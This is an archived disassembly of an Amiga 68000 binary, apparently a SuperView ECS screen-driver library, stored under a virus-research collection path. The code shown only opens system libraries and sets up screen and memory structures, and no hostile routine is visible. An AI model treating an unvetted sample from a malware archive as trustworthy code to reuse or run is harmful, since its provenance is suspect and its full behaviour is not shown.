home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusResearch
/
amitomb
/
cyber.asm
< prev
next >
Wrap
Assembly Source File
|
2013-02-13
|
64KB
|
2,270 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
SECTION S_0,CODE
SECSTRT_0:
MOVE.L A4,-(A7) ;0000: 2F0C
LEA SECSTRT_1,A4 ;0002: 49F900001618
MOVEQ #-1,D0 ;0008: 70FF
MOVEA.L (A7)+,A4 ;000A: 285F
RTS ;000C: 4E75
LAB_0000:
MOVEM.L A2/A4,-(A7) ;000E: 48E70028
MOVEA.L D0,A1 ;0012: 2240
MOVEA.L A0,A2 ;0014: 2448
LEA SECSTRT_1,A4 ;0016: 49F900001618
MOVE.L A1,84(A4) ;001C: 29490054
MOVE.L A6,170(A1) ;0020: 234E00AA
MOVEA.L 84(A4),A0 ;0024: 206C0054
MOVE.L A2,166(A0) ;0028: 214A00A6
BSR LAB_000A ;002C: 610000B6
TST.L D0 ;0030: 4A80
BEQ.S LAB_0001 ;0032: 670A
BSR LAB_002B ;0034: 61000268
MOVE.L 84(A4),D0 ;0038: 202C0054
BRA.S LAB_0002 ;003C: 6006
LAB_0001:
BSR LAB_001E ;003E: 610001FE
MOVEQ #0,D0 ;0042: 7000
LAB_0002:
MOVEM.L (A7)+,A2/A4 ;0044: 4CDF1400
RTS ;0048: 4E75
LAB_0003:
MOVE.L A4,-(A7) ;004A: 2F0C
LEA SECSTRT_1,A4 ;004C: 49F900001618
ADDQ #1,32(A6) ;0052: 526E0020
BCLR #3,14(A6) ;0056: 08AE0003000E
MOVE.L A6,D0 ;005C: 200E
MOVEA.L (A7)+,A4 ;005E: 285F
RTS ;0060: 4E75
LAB_0004:
MOVE.L A4,-(A7) ;0062: 2F0C
LEA SECSTRT_1,A4 ;0064: 49F900001618
SUBQ #1,32(A6) ;006A: 536E0020
BNE.S LAB_0005+2 ;006E: 660E
BTST #3,14(A6) ;0070: 082E0003000E
BEQ.S LAB_0005+2 ;0076: 6706
BSR LAB_0006 ;0078: 6100000A
LAB_0005:
CMPI #$7000,D0 ;007C: 0C407000
MOVEA.L (A7)+,A4 ;0080: 285F
RTS ;0082: 4E75
LAB_0006:
MOVEM.L A3-A6,-(A7) ;0084: 48E7001E
MOVEA.L A6,A5 ;0088: 2A4E
LEA SECSTRT_1,A4 ;008A: 49F900001618
TST 32(A5) ;0090: 4A6D0020
BNE.S LAB_0007 ;0094: 662C
MOVEA.L 166(A5),A3 ;0096: 266D00A6
MOVEA.L A5,A1 ;009A: 224D
MOVEA.L (ABSEXECBASE).W,A6 ;009C: 2C780004
JSR -252(A6) ;00A0: 4EAEFF04
BSR LAB_001E ;00A4: 61000198
MOVEQ #0,D0 ;00A8: 7000
MOVE 18(A5),D0 ;00AA: 302D0012
MOVEQ #0,D1 ;00AE: 7200
MOVE 16(A5),D1 ;00B0: 322D0010
ADD.L D1,D0 ;00B4: D081
MOVEA.L A5,A1 ;00B6: 224D
SUBA.L D1,A1 ;00B8: 93C1
JSR -210(A6) ;00BA: 4EAEFF2E
MOVE.L A3,D0 ;00BE: 200B
BRA.S LAB_0008 ;00C0: 6008
LAB_0007:
BSET #3,14(A5) ;00C2: 08ED0003000E
MOVEQ #0,D0 ;00C8: 7000
LAB_0008:
MOVEM.L (A7)+,A3-A6 ;00CA: 4CDF7800
RTS ;00CE: 4E75
LAB_0009:
MOVE.L A4,-(A7) ;00D0: 2F0C
LEA SECSTRT_1,A4 ;00D2: 49F900001618
MOVEQ #0,D0 ;00D8: 7000
MOVEA.L (A7)+,A4 ;00DA: 285F
RTS ;00DC: 4E75
RTS ;00DE: 4E75
RTS ;00E0: 4E75
NOP ;00E2: 4E71
LAB_000A:
MOVEM.L A4/A6,-(A7) ;00E4: 48E7000A
LEA SECSTRT_1,A4 ;00E8: 49F900001618
MOVEA #$0004,A0 ;00EE: 307C0004
MOVE.L (A0),144(A4) ;00F2: 29500090
LEA LAB_000D(PC),A1 ;00F6: 43FA009A
MOVEA.L (ABSEXECBASE).W,A6 ;00FA: 2C780004
JSR -594(A6) ;00FE: 4EAEFDAE
TST.L D0 ;0102: 4A80
BEQ LAB_000C ;0104: 67000086
LEA LAB_000E(PC),A1 ;0108: 43FA0098
MOVEQ #37,D0 ;010C: 7025
MOVEA.L (ABSEXECBASE).W,A6 ;010E: 2C780004
JSR -552(A6) ;0112: 4EAEFDD8
MOVE.L D0,148(A4) ;0116: 29400094
BEQ.S LAB_000C ;011A: 6770
LEA LAB_000F(PC),A1 ;011C: 43FA0090
MOVEQ #37,D0 ;0120: 7025
MOVEA.L (ABSEXECBASE).W,A6 ;0122: 2C780004
JSR -552(A6) ;0126: 4EAEFDD8
MOVE.L D0,152(A4) ;012A: 29400098
BEQ.S LAB_000C ;012E: 675C
LEA LAB_0010(PC),A1 ;0130: 43FA008E
MOVEQ #37,D0 ;0134: 7025
MOVEA.L (ABSEXECBASE).W,A6 ;0136: 2C780004
JSR -552(A6) ;013A: 4EAEFDD8
MOVE.L D0,156(A4) ;013E: 2940009C
BEQ.S LAB_000C ;0142: 6748
LEA LAB_0011(PC),A1 ;0144: 43FA008C
MOVEQ #37,D0 ;0148: 7025
MOVEA.L (ABSEXECBASE).W,A6 ;014A: 2C780004
JSR -552(A6) ;014E: 4EAEFDD8
MOVE.L D0,160(A4) ;0152: 294000A0
BEQ.S LAB_000C ;0156: 6734
LEA LAB_0012(PC),A1 ;0158: 43FA0088
MOVEQ #7,D0 ;015C: 7007
MOVEA.L (ABSEXECBASE).W,A6 ;015E: 2C780004
JSR -552(A6) ;0162: 4EAEFDD8
MOVE.L D0,164(A4) ;0166: 294000A4
BEQ.S LAB_000C ;016A: 6720
PEA (4).W ;016C: 48780004
PEA (43).W ;0170: 4878002B
MOVE.L 144(A4),-(A7) ;0174: 2F2C0090
BSR LAB_0033 ;0178: 610001D4
LEA 12(A7),A7 ;017C: 4FEF000C
TST D0 ;0180: 4A40
BEQ.S LAB_000B ;0182: 6706
MOVEQ #1,D0 ;0184: 7001
MOVE.L D0,306(A4) ;0186: 29400132
LAB_000B:
MOVEQ #1,D0 ;018A: 7001
LAB_000C:
MOVEM.L (A7)+,A4/A6 ;018C: 4CDF5000
RTS ;0190: 4E75
LAB_000D:
DC.W $7376 ;0192
DC.W $6C69 ;0194
DC.W $625F ;0196
MOVEQ #114,D0 ;0198: 7072
DC.W $652D ;019A
BVS.S LAB_0015 ;019C: 696E
BVS.S LAB_0016 ;019E: 6974
DC.W $0000 ;01A0
LAB_000E:
DC.W $646F ;01A2
DC.W $732E ;01A4
DC.W $6C69 ;01A6
BHI.S LAB_0017 ;01A8: 6272
BSR.S LAB_0018 ;01AA: 6172
DC.W $7900 ;01AC
LAB_000F:
BVS.S LAB_0018 ;01AE: 696E
MOVEQ #117,D2 ;01B0: 7475
BVS.S LAB_0019 ;01B2: 6974
DC.W $696F ;01B4
BGT.S LAB_0013 ;01B6: 6E2E
DC.W $6C69 ;01B8
BHI.S LAB_001A ;01BA: 6272
BSR.S LAB_001B ;01BC: 6172
DC.W $7900 ;01BE
LAB_0010:
BEQ.S LAB_001C ;01C0: 6772
BSR.S LAB_001C ;01C2: 6170
DC.W $6869 ;01C4
DC.W $6373 ;01C6
MOVEA.L 26978(A4),A7 ;01C8: 2E6C6962
MOVEQ #97,D1 ;01CC: 7261
MOVEQ #121,D1 ;01CE: 7279
DC.W $0000 ;01D0
LAB_0011:
DC.W $7574 ;01D2
BVS.S LAB_001F ;01D4: 696C
BVS.S LAB_0020 ;01D6: 6974
DC.W $792E ;01D8
DC.W $6C69 ;01DA
BHI.S LAB_0021 ;01DC: 6272
BSR.S LAB_0021+2 ;01DE: 6172
DC.W $7900 ;01E0
LAB_0012:
DC.W $7375 ;01E2
MOVEQ #101,D0 ;01E4: 7065
LAB_0013:
MOVEQ #118,D1 ;01E6: 7276
DC.W $6965 ;01E8
DC.W $7773 ;01EA
DC.W $7570 ;01EC
MOVEQ #111,D0 ;01EE: 706F
MOVEQ #116,D1 ;01F0: 7274
MOVEA.L 26978(A4),A7 ;01F2: 2E6C6962
MOVEQ #97,D1 ;01F6: 7261
MOVEQ #121,D1 ;01F8: 7279
DC.W $0000 ;01FA
LAB_0014:
DC.W $7376 ;01FC
DC.W $6C69 ;01FE
DC.W $625F ;0200
MOVEQ #111,D0 ;0202: 706F
DC.W $7374 ;0204
DC.W $2D69 ;0206
DC.W $6E69 ;0208
MOVEQ #0,D2 ;020A: 7400
LAB_0015:
DC.W $7375 ;020C
MOVEQ #101,D0 ;020E: 7065
MOVEQ #118,D1 ;0210: 7276
DC.W $6965 ;0212
LAB_0016:
DC.W $772E ;0214
DC.W $6C69 ;0216
BHI.S LAB_0027 ;0218: 6272
BSR.S LAB_0028 ;021A: 6172
LAB_0017:
DC.W $7900 ;021C
LAB_0018:
DC.W $4543 ;021E
SUBQ.B #1,-(A0) ;0220: 5320
SUBQ #1,-(A3) ;0222: 5363
MOVEQ #101,D1 ;0224: 7265
BCS.S LAB_0029+2 ;0226: 656E
LAB_0019:
DC.W $4472 ;0228
BVS.S LAB_002D ;022A: 6976
BCS.S LAB_002B+2 ;022C: 6572
LAB_001A:
DC.W $0000 ;022E
LAB_001B:
DC.W $AB20 ;0230
SUBQ #1,-(A5) ;0232: 5365
LAB_001C:
MOVEQ #80,D2 ;0234: 7450
BSR.S LAB_002E ;0236: 6174
BLS.S LAB_002D ;0238: 6368
LAB_001D:
MOVE.L LAB_001D+2(PC,D0.W),(A0) ;023A: 20BB0000
LAB_001E:
MOVEM.L A4/A6,-(A7) ;023E: 48E7000A
LAB_001F:
LEA SECSTRT_1,A4 ;0242: 49F900001618
MOVE.L 148(A4),D0 ;0248: 202C0094
LAB_0020:
BEQ.S LAB_0023 ;024C: 670A
MOVEA.L D0,A1 ;024E: 2240
LAB_0021:
MOVEA.L (ABSEXECBASE).W,A6 ;0250: 2C780004
JSR -414(A6) ;0254: 4EAEFE62
LAB_0023:
MOVE.L 152(A4),D0 ;0258: 202C0098
BEQ.S LAB_0024 ;025C: 670A
MOVEA.L D0,A1 ;025E: 2240
MOVEA.L (ABSEXECBASE).W,A6 ;0260: 2C780004
JSR -414(A6) ;0264: 4EAEFE62
LAB_0024:
MOVE.L 156(A4),D0 ;0268: 202C009C
BEQ.S LAB_0025 ;026C: 670A
MOVEA.L D0,A1 ;026E: 2240
MOVEA.L (ABSEXECBASE).W,A6 ;0270: 2C780004
JSR -414(A6) ;0274: 4EAEFE62
LAB_0025:
MOVE.L 160(A4),D0 ;0278: 202C00A0
BEQ.S LAB_0026 ;027C: 670A
MOVEA.L D0,A1 ;027E: 2240
MOVEA.L (ABSEXECBASE).W,A6 ;0280: 2C780004
JSR -414(A6) ;0284: 4EAEFE62
LAB_0026:
MOVE.L 164(A4),D0 ;0288: 202C00A4
LAB_0027:
BEQ.S LAB_002A ;028C: 670A
LAB_0028:
MOVEA.L D0,A1 ;028E: 2240
MOVEA.L (ABSEXECBASE).W,A6 ;0290: 2C780004
LAB_0029:
JSR -414(A6) ;0294: 4EAEFE62
LAB_002A:
MOVEM.L (A7)+,A4/A6 ;0298: 4CDF5000
RTS ;029C: 4E75
LAB_002B:
MOVEM.L A4-A6,-(A7) ;029E: 48E7000E
LAB_002D:
LEA SECSTRT_1,A4 ;02A2: 49F900001618
MOVEA.L 84(A4),A0 ;02A8: 206C0054
LAB_002E:
CLR.L 34(A0) ;02AC: 42A80022
LEA LAB_0014(PC),A1 ;02B0: 43FAFF4A
MOVEA.L (ABSEXECBASE).W,A6 ;02B4: 2C780004
JSR -594(A6) ;02B8: 4EAEFDAE
TST.L D0 ;02BC: 4A80
BEQ.S LAB_002F ;02BE: 672C
LEA LAB_0015(PC),A1 ;02C0: 43FAFF4A
MOVEQ #2,D0 ;02C4: 7002
JSR -552(A6) ;02C6: 4EAEFDD8
MOVEA.L D0,A5 ;02CA: 2A40
TST.L D0 ;02CC: 4A80
BEQ.S LAB_0032 ;02CE: 6778
LEA 88(A5),A0 ;02D0: 41ED0058
LEA 168(A4),A1 ;02D4: 43EC00A8
JSR -276(A6) ;02D8: 4EAEFEEC
MOVEA.L 84(A4),A0 ;02DC: 206C0054
MOVE.L D0,34(A0) ;02E0: 21400022
MOVEA.L A5,A1 ;02E4: 224D
JSR -414(A6) ;02E6: 4EAEFE62
BRA.S LAB_0032 ;02EA: 605C
LAB_002F:
MOVEQ #111,D0 ;02EC: 706F
ADD.L D0,D0 ;02EE: D080
MOVE.L #$00010001,D1 ;02F0: 223C00010001
JSR -684(A6) ;02F6: 4EAEFD54
MOVEA.L D0,A5 ;02FA: 2A40
TST.L D0 ;02FC: 4A80
BEQ.S LAB_0032 ;02FE: 6748
MOVEA.L 84(A4),A0 ;0300: 206C0054
MOVE.L A5,34(A0) ;0304: 214D0022
LEA 8(A5),A6 ;0308: 4DED0008
CLR.B (A6)+ ;030C: 421E
MOVE.B #$40,(A6)+ ;030E: 1CFC0040
LEA 22(A5),A0 ;0312: 41ED0016
MOVE.L A0,(A6)+ ;0316: 2CC8
MOVEQ #0,D0 ;0318: 7000
MOVEA.L 84(A4),A1 ;031A: 226C0054
MOVE 20(A1),D0 ;031E: 30290014
MOVE.L D0,(A6)+ ;0322: 2CC0
MOVEQ #1,D0 ;0324: 7001
MOVE.L D0,(A6)+ ;0326: 2CC0
LEA 168(A4),A1 ;0328: 43EC00A8
LAB_0030:
MOVE.B (A1)+,(A0)+ ;032C: 10D9
BNE.S LAB_0030 ;032E: 66FC
MOVEQ #-1,D0 ;0330: 70FF
LEA 130(A5),A6 ;0332: 4DED0082
MOVE.L D0,(A6)+ ;0336: 2CC0
MOVE.L D0,(A6)+ ;0338: 2CC0
MOVE.L D0,(A6)+ ;033A: 2CC0
LEA 142(A5),A0 ;033C: 41ED008E
LEA LAB_0018(PC),A1 ;0340: 43FAFEDC
LAB_0031:
MOVE.B (A1)+,(A0)+ ;0344: 10D9
BNE.S LAB_0031 ;0346: 66FC
LAB_0032:
MOVEM.L (A7)+,A4-A6 ;0348: 4CDF7000
RTS ;034C: 4E75
LAB_0033:
MOVEM.L D6-D7/A5-A6,-(A7) ;034E: 48E70306
MOVE 26(A7),D7 ;0352: 3E2F001A
MOVEQ #0,D6 ;0356: 7C00
MOVEA.L (ABSEXECBASE).W,A6 ;0358: 2C780004
JSR -132(A6) ;035C: 4EAEFF7C
LEA LAB_001B(PC),A1 ;0360: 43FAFECE
JSR -594(A6) ;0364: 4EAEFDAE
MOVEA.L D0,A5 ;0368: 2A40
JSR -138(A6) ;036A: 4EAEFF76
MOVE.L A5,D0 ;036E: 200D
BEQ.S LAB_0035 ;0370: 6718
MOVE 58(A5),D0 ;0372: 302D003A
CMP D0,D7 ;0376: BE40
BHI.S LAB_0034 ;0378: 620E
CMP D0,D7 ;037A: BE40
BNE.S LAB_0035 ;037C: 660C
MOVE 30(A7),D0 ;037E: 302F001E
CMP 60(A5),D0 ;0382: B06D003C
BCS.S LAB_0035 ;0386: 6502
LAB_0034:
MOVEQ #1,D6 ;0388: 7C01
LAB_0035:
MOVE D6,D0 ;038A: 3006
MOVEM.L (A7)+,D6-D7/A5-A6 ;038C: 4CDF60C0
RTS ;0390: 4E75
NOP ;0392: 4E71
LAB_0036:
SUBQ #4,A7 ;0394: 594F
MOVEM.L A4/A6,-(A7) ;0396: 48E7000A
MOVE.L A1,8(A7) ;039A: 2F490008
LEA SECSTRT_1,A4 ;039E: 49F900001618
MOVEQ #40,D0 ;03A4: 7028
MOVE.L #$00010001,D1 ;03A6: 223C00010001
MOVEA.L (ABSEXECBASE).W,A6 ;03AC: 2C780004
JSR -684(A6) ;03B0: 4EAEFD54
MOVEM.L (A7)+,A4/A6 ;03B4: 4CDF5000
ADDQ #4,A7 ;03B8: 584F
RTS ;03BA: 4E75
LAB_0037:
MOVEM.L A4-A6,-(A7) ;03BC: 48E7000E
MOVEA.L A1,A5 ;03C0: 2A49
LEA SECSTRT_1,A4 ;03C2: 49F900001618
BSR LAB_0038 ;03C8: 61000018
MOVEA.L A5,A1 ;03CC: 224D
BSR LAB_003D ;03CE: 61000070
MOVEA.L A5,A1 ;03D2: 224D
MOVEA.L (ABSEXECBASE).W,A6 ;03D4: 2C780004
JSR -690(A6) ;03D8: 4EAEFD4E
MOVEM.L (A7)+,A4-A6 ;03DC: 4CDF7000
RTS ;03E0: 4E75
LAB_0038:
MOVEM.L A4-A6,-(A7) ;03E2: 48E7000E
MOVEA.L A1,A5 ;03E6: 2A49
LEA SECSTRT_1,A4 ;03E8: 49F900001618
MOVE.L A5,D0 ;03EE: 200D
BEQ.S LAB_003C ;03F0: 6748
TST.L (A5) ;03F2: 4A95
BEQ.S LAB_003C ;03F4: 6744
TST.L 4(A5) ;03F6: 4AAD0004
BEQ.S LAB_003B ;03FA: 672E
BRA.S LAB_003A ;03FC: 600A
LAB_0039:
MOVEA.L A0,A1 ;03FE: 2248
MOVEA.L (ABSEXECBASE).W,A6 ;0400: 2C780004
JSR -378(A6) ;0404: 4EAEFE86
LAB_003A:
MOVEA.L 4(A5),A0 ;0408: 206D0004
MOVEA.L 86(A0),A0 ;040C: 20680056
MOVEA.L (ABSEXECBASE).W,A6 ;0410: 2C780004
JSR -372(A6) ;0414: 4EAEFE8C
MOVEA.L D0,A0 ;0418: 2040
TST.L D0 ;041A: 4A80
BNE.S LAB_0039 ;041C: 66E0
MOVEA.L 4(A5),A0 ;041E: 206D0004
MOVEA.L 152(A4),A6 ;0422: 2C6C0098
JSR -72(A6) ;0426: 4EAEFFB8
LAB_003B:
MOVEA.L (A5),A0 ;042A: 2055
MOVEA.L 152(A4),A6 ;042C: 2C6C0098
JSR -66(A6) ;0430: 4EAEFFBE
CLR.L 4(A5) ;0434: 42AD0004
CLR.L (A5) ;0438: 4295
LAB_003C:
MOVEM.L (A7)+,A4-A6 ;043A: 4CDF7000
RTS ;043E: 4E75
LAB_003D:
MOVEM.L A4-A6,-(A7) ;0440: 48E7000E
MOVEA.L A1,A5 ;0444: 2A49
LEA SECSTRT_1,A4 ;0446: 49F900001618
MOVE.L A5,D0 ;044C: 200D
BEQ.S LAB_003F ;044E: 6728
MOVE.L 24(A5),D0 ;0450: 202D0018
BEQ.S LAB_003E ;0454: 670E
MOVEA.L D0,A1 ;0456: 2240
MOVEA.L 164(A4),A6 ;0458: 2C6C00A4
JSR -168(A6) ;045C: 4EAEFF58
CLR.L 24(A5) ;0460: 42AD0018
LAB_003E:
MOVE.L A5,-(A7) ;0464: 2F0D
BSR LAB_00C6 ;0466: 61000DE2
MOVE.L A5,(A7) ;046A: 2E8D
BSR LAB_00B7 ;046C: 61000C44
MOVE.L A5,(A7) ;0470: 2E8D
BSR LAB_00DD ;0472: 61000F6A
ADDQ #4,A7 ;0476: 584F
LAB_003F:
MOVEM.L (A7)+,A4-A6 ;0478: 4CDF7000
RTS ;047C: 4E75
NOP ;047E: 4E71
LAB_0040:
SUBQ #4,A7 ;0480: 594F
MOVE.L A4,-(A7) ;0482: 2F0C
MOVE.L A3,4(A7) ;0484: 2F4B0004
LEA SECSTRT_1,A4 ;0488: 49F900001618
MOVE.L A1,D0 ;048E: 2009
BNE.S LAB_0041 ;0490: 6604
MOVEQ #8,D0 ;0492: 7008
BRA.S LAB_0043 ;0494: 600E
LAB_0041:
MOVE.L A2,D0 ;0496: 200A
BNE.S LAB_0042 ;0498: 6604
MOVEQ #13,D0 ;049A: 700D
BRA.S LAB_0043 ;049C: 6006
LAB_0042:
MOVE.L A2,20(A1) ;049E: 234A0014
MOVEQ #0,D0 ;04A2: 7000
LAB_0043:
MOVEA.L (A7)+,A4 ;04A4: 285F
ADDQ #4,A7 ;04A6: 584F
RTS ;04A8: 4E75
LAB_0044:
MOVEQ #111,D2 ;04AA: 746F
MOVEQ #97,D0 ;04AC: 7061
MOVEQ #46,D5 ;04AE: 7A2E
DC.W $666F ;04B0
BGT.S LAB_004C ;04B2: 6E74
DC.W $0000 ;04B4
LAB_0045:
DC.W $506C ;04B6
DC.W $6561 ;04B8
DC.W $7365 ;04BA
DC.W $2077 ;04BC
DC.W $6169 ;04BE
MOVEQ #32,D2 ;04C0: 7420
MOVE.L 11776(A6),D7 ;04C2: 2E2E2E00
LAB_0046:
DC.W $454E ;04C6
DC.W $563A ;04C8
DC.W $7375 ;04CA
MOVEQ #101,D0 ;04CC: 7065
MOVEQ #118,D1 ;04CE: 7276
DC.W $6965 ;04D0
DC.W $772D ;04D2
DC.W $6C69 ;04D4
BHI.S LAB_0050+2 ;04D6: 6272
BSR.S LAB_0051 ;04D8: 6172
DC.W $792F ;04DA
DC.W $4543 ;04DC
SUBQ.B #1,25455(A6) ;04DE: 532E636F
BGT.S LAB_0053 ;04E2: 6E74
MOVEQ #111,D1 ;04E4: 726F
BGE.S LAB_0053 ;04E6: 6C70
BSR.S LAB_0051+2 ;04E8: 6164
DC.W $0000 ;04EA
LAB_0047:
DC.W $4249 ;04EC
ADDQ #2,A5 ;04EE: 544D
DC.W $4150 ;04F0
DC.W $434F ;04F2
ADDQ #8,(A1)+ ;04F4: 5059
DC.W $0000 ;04F6
LAB_0048:
ADDQ #1,(A4) ;04F8: 5254
DC.W $4700 ;04FA
LAB_0049:
SUBQ #1,D3 ;04FC: 5343
ADDQ #1,D5 ;04FE: 5245
DC.W $454E ;0500
DC.W $494E ;0502
NOT (A2) ;0504: 4652
DC.W $4F4E ;0506
ADDQ.B #2,D0 ;0508: 5400
LAB_004A:
MOVEA D2,A4 ;050A: 3842
DC.W $4954 ;050C
DC.W $4F50 ;050E
DC.W $4552 ;0510
DC.W $4154 ;0512
DC.W $4F52 ;0514
DC.W $0000 ;0516
LAB_004B:
DC.W $7375 ;0518
MOVEQ #101,D0 ;051A: 7065
MOVEQ #118,D1 ;051C: 7276
DC.W $6965 ;051E
DC.W $772E ;0520
DC.W $6C69 ;0522
BHI.S LAB_0057 ;0524: 6272
BSR.S LAB_0058 ;0526: 6172
LAB_004C:
DC.W $7900 ;0528
LAB_004D:
DC.W $3234 ;052A
DC.W $4249 ;052C
ADDQ #2,A7 ;052E: 544F
ADDQ #8,D5 ;0530: 5045
ADDQ #1,D1 ;0532: 5241
ADDQ #2,A7 ;0534: 544F
ADDQ.B #1,D0 ;0536: 5200
LAB_004E:
DC.W $2E73 ;0538
MOVEQ #111,D3 ;053A: 766F
MOVEQ #101,D0 ;053C: 7065
MOVEQ #97,D1 ;053E: 7261
MOVEQ #111,D2 ;0540: 746F
MOVEQ #0,D1 ;0542: 7200
LAB_004F:
SUBA #$003C,A7 ;0544: 9EFC003C
LAB_0050:
MOVEM.L D2-D7/A2-A6,-(A7) ;0548: 48E73F3E
LAB_0051:
MOVE.L A2,84(A7) ;054C: 2F4A0054
LEA SECSTRT_1,A4 ;0550: 49F900001618
MOVEQ #0,D7 ;0556: 7E00
LAB_0053:
CLR.L 96(A7) ;0558: 42AF0060
CLR.L 92(A7) ;055C: 42AF005C
CLR.L 88(A7) ;0560: 42AF0058
MOVEA.L A1,A3 ;0564: 2649
MOVE.L A1,80(A7) ;0566: 2F490050
MOVE.L A3,D0 ;056A: 200B
BNE.S LAB_0054 ;056C: 6606
MOVEQ #13,D0 ;056E: 700D
BRA LAB_0082 ;0570: 6000041A
LAB_0054:
MOVEA.L 20(A3),A5 ;0574: 2A6B0014
MOVE.L A5,D0 ;0578: 200D
BNE.S LAB_0055 ;057A: 6606
MOVEQ #13,D0 ;057C: 700D
BRA LAB_0082 ;057E: 6000040C
LAB_0055:
TST.L 800(A5) ;0582: 4AAD0320
BNE.S LAB_0056 ;0586: 6606
MOVEQ #13,D0 ;0588: 700D
BRA LAB_0082 ;058A: 60000400
LAB_0056:
CMPI.L #$00000002,4(A5) ;058E: 0CAD000000020004
BLS.S LAB_0059 ;0596: 6306
LAB_0057:
MOVEQ #16,D0 ;0598: 7010
LAB_0058:
BRA LAB_0082 ;059A: 600003F0
LAB_0059:
PEA 88(A7) ;059E: 486F0058
PEA 96(A7) ;05A2: 486F0060
PEA 104(A7) ;05A6: 486F0068
BSR LAB_00A6 ;05AA: 610008E8
LEA 12(A7),A7 ;05AE: 4FEF000C
MOVEQ #24,D0 ;05B2: 7018
CMP.L 16(A5),D0 ;05B4: B0AD0010
BNE.S LAB_005C ;05B8: 6640
CLR.L 100(A7) ;05BA: 42AF0064
MOVEQ #2,D0 ;05BE: 7002
CMP.L 4(A5),D0 ;05C0: B0AD0004
BEQ.S LAB_005A ;05C4: 6706
MOVEQ #16,D0 ;05C6: 7010
BRA LAB_0082 ;05C8: 600003C2
LAB_005A:
BSR LAB_00AB ;05CC: 61000994
MOVEA.L D0,A2 ;05D0: 2440
TST.L D0 ;05D2: 4A80
BNE.S LAB_005B ;05D4: 6606
MOVEQ #15,D0 ;05D6: 700F
BRA LAB_0082 ;05D8: 600003B2
LAB_005B:
MOVE.L A2,-(A7) ;05DC: 2F0A
PEA 104(A7) ;05DE: 486F0068
MOVE.L A5,-(A7) ;05E2: 2F0D
MOVE.L A3,-(A7) ;05E4: 2F0B
BSR LAB_00B4 ;05E6: 61000A58
LEA 16(A7),A7 ;05EA: 4FEF0010
MOVE.L D0,D7 ;05EE: 2E00
BNE.S LAB_005C ;05F0: 6608
MOVE.L 100(A7),D0 ;05F2: 202F0064
BEQ.S LAB_005C ;05F6: 6702
MOVEA.L D0,A5 ;05F8: 2A40
LAB_005C:
TST.L 88(A7) ;05FA: 4AAF0058
BEQ.S LAB_005E ;05FE: 674E
MOVE.L 16(A5),D0 ;0600: 202D0010
MOVEQ #4,D1 ;0604: 7204
CMP.L D1,D0 ;0606: B081
BLS.S LAB_005E ;0608: 6344
MOVEQ #8,D1 ;060A: 7208
CMP.L D1,D0 ;060C: B081
BHI.S LAB_005E ;060E: 623E
MOVE.L A5,-(A7) ;0610: 2F0D
BSR LAB_0096 ;0612: 61000754
ADDQ #4,A7 ;0616: 584F
TST.L D0 ;0618: 4A80
BNE.S LAB_005E ;061A: 6632
CLR.L 100(A7) ;061C: 42AF0064
BSR LAB_00BA ;0620: 61000AD8
MOVEA.L D0,A2 ;0624: 2440
TST.L D0 ;0626: 4A80
BNE.S LAB_005D ;0628: 6606
MOVEQ #15,D0 ;062A: 700F
BRA LAB_0082 ;062C: 6000035E
LAB_005D:
MOVE.L A2,-(A7) ;0630: 2F0A
PEA 104(A7) ;0632: 486F0068
MOVE.L A5,-(A7) ;0636: 2F0D
MOVE.L A3,-(A7) ;0638: 2F0B
BSR LAB_00C3 ;063A: 61000B9C
LEA 16(A7),A7 ;063E: 4FEF0010
MOVE.L D0,D7 ;0642: 2E00
BNE.S LAB_005E ;0644: 6608
MOVE.L 100(A7),D0 ;0646: 202F0064
BEQ.S LAB_005E ;064A: 6702
MOVEA.L D0,A5 ;064C: 2A40
LAB_005E:
MOVEQ #1,D0 ;064E: 7001
CMP.L 4(A5),D0 ;0650: B0AD0004
BNE.S LAB_0060 ;0654: 6632
CMPI.L #$00000008,16(A5) ;0656: 0CAD000000080010
BHI.S LAB_005F+2 ;065E: 6226
TST.L 96(A7) ;0660: 4AAF0060
BEQ.S LAB_0060 ;0664: 6722
LEA 24(A3),A0 ;0666: 41EB0018
MOVE.L A2,-(A7) ;066A: 2F0A
MOVEA.L A0,A2 ;066C: 2448
MOVEA.L 20(A3),A1 ;066E: 226B0014
MOVEA.L 164(A4),A6 ;0672: 2C6C00A4
JSR -132(A6) ;0676: 4EAEFF7C
MOVEA.L (A7)+,A2 ;067A: 245F
MOVE.L D0,D7 ;067C: 2E00
BNE.S LAB_0060 ;067E: 6608
MOVEA.L 24(A3),A5 ;0680: 2A6B0018
LAB_005F:
CMPI #$7E0F,D0 ;0684: 0C407E0F
LAB_0060:
MOVE.L D7,100(A7) ;0688: 2F470064
MOVE.L A5,72(A7) ;068C: 2F4D0048
TST.L D7 ;0690: 4A87
BEQ.S LAB_0061 ;0692: 6706
MOVE.L D7,D0 ;0694: 2007
BRA LAB_0082 ;0696: 600002F4
LAB_0061:
MOVEA.L 800(A5),A1 ;069A: 226D0320
MOVE.L A1,60(A7) ;069E: 2F49003C
MOVE.L A1,D0 ;06A2: 2009
BNE.S LAB_0062 ;06A4: 6606
MOVEQ #13,D0 ;06A6: 700D
BRA LAB_0082 ;06A8: 600002E2
LAB_0062:
MOVE.L A5,-(A7) ;06AC: 2F0D
MOVE.L A3,-(A7) ;06AE: 2F0B
BSR LAB_0083 ;06B0: 610002E4
ADDQ #8,A7 ;06B4: 504F
TST.L D0 ;06B6: 4A80
BNE.S LAB_0063 ;06B8: 6606
MOVEQ #6,D0 ;06BA: 7006
BRA LAB_0082 ;06BC: 600002CE
LAB_0063:
TST.L 92(A7) ;06C0: 4AAF005C
BEQ.S LAB_0064 ;06C4: 670A
MOVEA.L (A3),A0 ;06C6: 2053
MOVEA.L 152(A4),A6 ;06C8: 2C6C0098
JSR -252(A6) ;06CC: 4EAEFF04
LAB_0064:
MOVEA.L (A3),A0 ;06D0: 2053
LEA 84(A0),A1 ;06D2: 43E80054
MOVEA.L 88(A0),A2 ;06D6: 24680058
MOVE.L A1,64(A7) ;06DA: 2F490040
MOVEA.L 156(A4),A6 ;06DE: 2C6C009C
MOVEQ #0,D0 ;06E2: 7000
JSR -234(A6) ;06E4: 4EAEFF16
LEA 8(A5),A6 ;06E8: 4DED0008
MOVE.L (A6)+,D0 ;06EC: 201E
MOVE.L (A6)+,D5 ;06EE: 2A1E
MOVE.L (A6)+,D6 ;06F0: 2C1E
MOVE.L D0,D3 ;06F2: 2600
MOVE.L D5,56(A7) ;06F4: 2F450038
MOVEQ #31,D1 ;06F8: 721F
